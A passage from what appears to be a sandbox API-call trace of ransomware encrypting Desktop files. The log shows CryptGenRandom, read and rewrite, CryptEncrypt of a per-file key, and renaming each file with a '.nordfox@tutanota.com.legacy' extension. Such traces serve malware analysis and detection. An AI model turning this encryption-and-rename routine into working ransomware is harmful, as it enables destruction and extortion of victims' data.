0x5c34f8 [0111.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0111.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\jW3yyW7Nouz.jpg", dwFileAttributes=0x80) returned 1 [0111.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0111.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0111.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0111.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\jW3yyW7Nouz.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\jw3yyw7nouz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.768] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65236) returned 1 [0111.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfed4) returned 0x5e9bd0 [0111.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfed4) returned 0x5f9ab0 [0111.768] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xfed4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xfed4, lpOverlapped=0x0) returned 1 [0111.771] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-65236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.771] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f9ab0*, nNumberOfBytesToWrite=0xfed4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f9ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfed4, lpOverlapped=0x0) returned 1 [0111.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f9ab0 | out: hHeap=0x520000) returned 1 [0111.772] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfed4 [0111.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.774] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.774] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.774] CloseHandle (hObject=0x5e4) returned 1 [0111.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0111.775] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\jW3yyW7Nouz.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\jw3yyw7nouz.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\jW3yyW7Nouz.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\jw3yyw7nouz.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0111.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0111.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0111.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0111.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\jdTKc.bmp", dwFileAttributes=0x80) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0111.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.777] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\jdTKc.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jdtkc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.778] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=50468) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc524) returned 0x5e9bd0 [0111.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc524) returned 0x5f6100 [0111.778] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xc524, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xc524, lpOverlapped=0x0) returned 1 [0111.781] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-50468, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.781] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f6100*, nNumberOfBytesToWrite=0xc524, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f6100*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc524, lpOverlapped=0x0) returned 1 [0111.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f6100 | out: hHeap=0x520000) returned 1 [0111.782] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc524 [0111.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.784] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.784] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.784] CloseHandle (hObject=0x5e4) returned 1 [0111.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0111.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.784] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\jdTKc.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jdtkc.bmp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\jdTKc.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\jdtkc.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0111.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0111.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0111.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0111.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0111.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0111.786] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\H9P2qqLF3aR9XPvSe.wav", dwFileAttributes=0x80) returned 1 [0111.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0111.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7ac8 [0111.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0111.787] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\H9P2qqLF3aR9XPvSe.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\h9p2qqlf3ar9xpvse.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.787] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96673) returned 1 [0111.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x179a1) returned 0x5e9bd0 [0111.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x179a1) returned 0x2f40050 [0111.789] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x179a1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x179a1, lpOverlapped=0x0) returned 1 [0111.794] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-96673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.794] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x179a1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x179a1, lpOverlapped=0x0) returned 1 [0111.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.799] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x179a1 [0111.799] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.799] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.800] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.800] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.800] CloseHandle (hObject=0x5e4) returned 1 [0111.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0111.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0111.801] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\H9P2qqLF3aR9XPvSe.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\h9p2qqlf3ar9xpvse.wav"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\H9P2qqLF3aR9XPvSe.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\h9p2qqlf3ar9xpvse.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7ac8 | out: hHeap=0x520000) returned 1 [0111.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0111.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0111.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0111.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0111.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\FnQ1UzSSx1.mkv", dwFileAttributes=0x80) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0111.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0111.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0111.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\FnQ1UzSSx1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\fnq1uzssx1.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.804] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=62648) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf4b8) returned 0x5e9bd0 [0111.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf4b8) returned 0x5f9090 [0111.804] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xf4b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xf4b8, lpOverlapped=0x0) returned 1 [0111.807] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-62648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.807] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f9090*, nNumberOfBytesToWrite=0xf4b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f9090*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf4b8, lpOverlapped=0x0) returned 1 [0111.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f9090 | out: hHeap=0x520000) returned 1 [0111.808] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf4b8 [0111.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.810] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.810] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.810] CloseHandle (hObject=0x5e4) returned 1 [0111.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0111.810] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\FnQ1UzSSx1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\fnq1uzssx1.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\FnQ1UzSSx1.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\fnq1uzssx1.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0111.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0111.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0111.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0111.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0111.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0111.821] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0111.821] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0111.821] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\EyAD0N6ivUNINjAbLr.flv", dwFileAttributes=0x80) returned 1 [0111.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0111.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e77e8 [0111.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0111.821] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\EyAD0N6ivUNINjAbLr.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\eyad0n6ivuninjablr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.822] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=24968) returned 1 [0111.822] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6188) returned 0x5e9bd0 [0111.822] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6188) returned 0x5efd60 [0111.822] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x6188, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x6188, lpOverlapped=0x0) returned 1 [0111.825] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-24968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.825] WriteFile (in: hFile=0x5e4, lpBuffer=0x5efd60*, nNumberOfBytesToWrite=0x6188, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5efd60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6188, lpOverlapped=0x0) returned 1 [0111.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5efd60 | out: hHeap=0x520000) returned 1 [0111.825] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6188 [0111.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.826] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.826] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.827] CloseHandle (hObject=0x5e4) returned 1 [0111.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0111.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0111.827] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\EyAD0N6ivUNINjAbLr.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\eyad0n6ivuninjablr.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\EyAD0N6ivUNINjAbLr.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\eyad0n6ivuninjablr.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0111.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0111.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0111.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0111.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0111.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.829] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini", dwFileAttributes=0x80) returned 1 [0111.830] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0111.830] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0111.830] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0111.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.830] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=282) returned 1 [0111.830] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x571fc8 [0111.830] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x582160 [0111.830] ReadFile (in: hFile=0x5e4, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0111.830] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.830] WriteFile (in: hFile=0x5e4, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x11a, 